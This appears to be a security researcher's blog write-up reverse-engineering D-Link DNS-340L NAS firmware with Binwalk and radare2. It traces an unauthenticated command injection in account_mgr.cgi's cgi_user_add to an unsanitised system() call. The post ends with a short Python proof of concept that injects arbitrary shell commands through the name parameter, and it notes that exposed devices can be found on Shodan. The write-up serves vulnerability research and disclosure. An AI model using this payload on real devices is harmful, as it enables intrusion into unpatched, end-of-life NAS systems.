Woke up today to find a juicy new Command Injection vulnerability hitting D-Link devices. While it’s no surprise to see vulnerabilities popping up every other day, this one caught my eye. I’ve been hands-on with these devices before, so I thought, why not dive in and see what’s actually going down?
Here’s the kicker D-Link isn’t bothering to fix it. These devices are officially End of Life. No more software updates, no security patches, no support. Time to drop cash on a new device.
The issue lies in how the cgi_user_add command within the account_mgr.cgi script handles the name parameter. This flaw allows an unauthenticated attacker to inject arbitrary shell commands through crafted HTTP GET requests. And it’s pretty easy to exploit.
Shoutout to netsecfish for discovering this vulnerability.
Firmware Analysis
Grabbed the firmware for one of the affected models, the DNS-340L. Compile date from 2018, no more updates. You can find it here: DNS-340L Firmware
After you grab the firmware, it’s wrapped in a ZIP. Unzip it and you’re left with a binary. Run file on it and it just tells you it’s “LIF” (Linux Initial File System). So what now?
Binwalk. When the firmware isn’t encrypted (pretty common with many manufacturers), Binwalk scans the image, hunts down known file types or compressed formats, and extracts them. It keeps peeling the onion, recursively unpacking everything layer by layer. What we usually end up with is either a SquashFS or JFFS2 file system containing the binaries we need to start poking around.

Keep in mind the SquashFS needs to be mounted to browse through. From the article, we know the vulnerability lies within the account_mgr.cgi script. Goal is to locate this script within the extracted files.
We’ve got an executable, so let’s put it in r2. But first, I ran strings looking for cgi_user_add because that’s where the vuln is triggered.
Tracing the Vulnerable Path

We begin with sym.cgiMain, which calls fcn.000154f0 at address 0x23848. This handles data coming from a web form, probably the HTTP POST request. The function starts with stack adjustments, standard ARM pattern:
pdf @ fcn.000154f0
; CALL XREF from sym.cgiMain @ 0x23848(x)
┌ 200: fcn.000154f0 ();
│ ; var int32_t var_3000h @ sp-0x100
│ ; var int32_t var_3080h @ sp-0x80
│ ; var int32_t var_3000h_2 @ sp+0x20
│ 0x000154f0 f0412de9 push {r4, r5, r6, r7, r8, lr}
│ 0x000154f4 31dc4de2 sub sp, sp, 0x3100
│ 0x000154f8 20d04de2 sub sp, sp, 0x20
│ 0x000154fc 034a8de2 add r4, var_3000h
│ 0x00015500 c26d8de2 add r6, var_3080h
│ 0x00015504 204084e2 add r4, r4, 0x20
│ 0x00015508 206086e2 add r6, r6, 0x20
│ 0x0001550c 0410a0e1 mov r1, r4
│ 0x00015510 8020a0e3 mov r2, 0x80
│ 0x00015514 9c009fe5 ldr r0, str.name
Big stack allocation - 0x3100 bytes. The function dynamically allocates space for local variables (form data). r4 and r6 hold references to buffers for the extracted form data. r4 is the buffer for the name field, r6 likely for the password (pw).
The string "name" gets loaded and passed to cgiFormString, a helper for extracting form field values from the HTTP request. Same pattern repeats for pw and group:
│ 0x00015518 20508de2 add r5, sp, 0x20
│ 0x0001551c 0df5ffeb bl sym.imp.cgiFormString
│ 0x00015520 0610a0e1 mov r1, r6
│ 0x00015524 8020a0e3 mov r2, 0x80
│ 0x00015528 8c009fe5 ldr r0, str.pw ; "pw"
│ 0x0001552c 09f5ffeb bl sym.imp.cgiFormString
│ 0x00015530 0510a0e1 mov r1, r5
│ 0x00015534 032aa0e3 mov r2, 0x3000
│ 0x00015538 80009fe5 ldr r0, str.group ; "group"
│ 0x0001553c 05f5ffeb bl sym.imp.cgiFormString
│ 0x00015540 00c0a0e3 mov ip, 0
│ 0x00015544 0c10a0e1 mov r1, ip
│ 0x00015548 74e09fe5 ldr lr, str._p ; "-p"
│ 0x0001554c 0c00a0e1 mov r0, ip
│ 0x00015550 70309fe5 ldr r3, str._a ; "-a"
│ 0x00015554 70709fe5 ldr r7, str._u ; "-u"
│ 0x00015558 70809fe5 ldr r8, str._l ; "-l"
After extracting the form data, it sets up command arguments (-p, -a, -u, -l). So far so good, nothing wrong with this.
I decided to step back and trace the vuln with the information we already have. From the PoC in the original article, an attacker sends a crafted HTTP GET request with malicious input in the name parameter. The URL triggers cgi_user_add with a name that includes an injected shell command.
We’re dealing with a program that processes user inputs names, passwords, groups and then creates users and modifies groups. This implies system() calls. And system() is very easy to get wrong with untrusted input. CGI is an ELF that runs as a program when you provide it with commands.
After some digging:

There it is. The account binary takes user input and throws it directly into shell commands executed by system(). Usernames, passwords, group names - all passed straight into adduser, usermod, gpasswd, and smbpasswd with zero sanitization.
You know what happens when you blindly trust user input, right?
The Irony
Here’s the interesting part. When you look at the rest of the program, they’ve been smart enough to use safe_system() instead of system() everywhere else. This is a safer wrapper they wrote specifically to prevent command injection.
[0x00010a9c]> axt @ sym.imp.safe_system
fcn.000154f0 0x1557c [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x159d8 [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x15c9c [CALL:--x] bl sym.imp.safe_system
fcn.000160d8 0x16118 [CALL:--x] bl sym.imp.safe_system
fcn.00016e28 0x16fa0 [CALL:--x] bl sym.imp.safe_system
fcn.00017110 0x1719c [CALL:--x] bl sym.imp.safe_system
fcn.00017f4c 0x17fdc [CALL:--x] bl sym.imp.safe_system
fcn.00018034 0x185e4 [CALL:--x] bl sym.imp.safe_system
fcn.00018678 0x18748 [CALL:--x] bl sym.imp.safe_system
fcn.0001d71c 0x1da04 [CALL:--x] bl sym.imp.safe_system
fcn.0001dbe4 0x1de6c [CALL:--x] bl sym.imp.safe_system
fcn.000213b4 0x216ac [CALL:--x] bl sym.imp.safe_system
fcn.000219b4 0x21a34 [CALL:--x] bl sym.imp.safe_system
14 cross-references to safe_system. They were aware of the risk. So, WTF?
But in the account binary, they just went ahead and used system(). Why didn’t they just use safe_system() here? It would have been a one-line fix. Possible that different teams were working on this with poor communication. If they had just used safe_system() in the account binary, the whole vuln wouldn’t exist.
It’s like putting a lock on the door after realizing there’s a big hole in the wall. A classic case of not applying consistent security throughout the program. Everything else uses safe_system(), but because they missed it in one binary, the entire device is exposed.
PoC
Sends a request to the vulnerable endpoint (/cgi-bin/account_mgr.cgi?cmd=cgi_user_add) using echo {verify_string} to confirm command execution. The verify string is random - if it shows up in the response, the system executed our injected command.
verify_string = "".join(random.choice(string.ascii_letters) for _ in range(5))
cmd = f"echo {verify_string}"
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"
Because the name parameter is passed directly to system(), any shell command works:
cmd = input("$ ")
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"
Attack Surface
Who’s exploiting this? These are older D-Link NAS devices often used in small offices, homes, or by hobbyists. Prime targets for attackers looking for low-hanging fruit devices exposed to the internet but rarely updated or monitored. This kind of exploit is attractive to a wide range of actors, from skilled operators to skids. I bring up “operators” because this perfectly fits within the scope of botnet operations.

Searching Shodan for devices running the specific Lighttpd version yields about 78 results. Some of these probably aren’t actually vulnerable despite matching the version. But attackers don’t need all 78 to be exploitable. And this is just what Shodan shows us - there’s more out there, just exposed to the internet.
The lack of support for these older devices only adds fuel to the fire. Users are left with no official patches, and we know how seriously people take security - until it’s too late.
Command Injection in D-Link NAS · Reversing Firmware with Radare · D-Link DNS-340L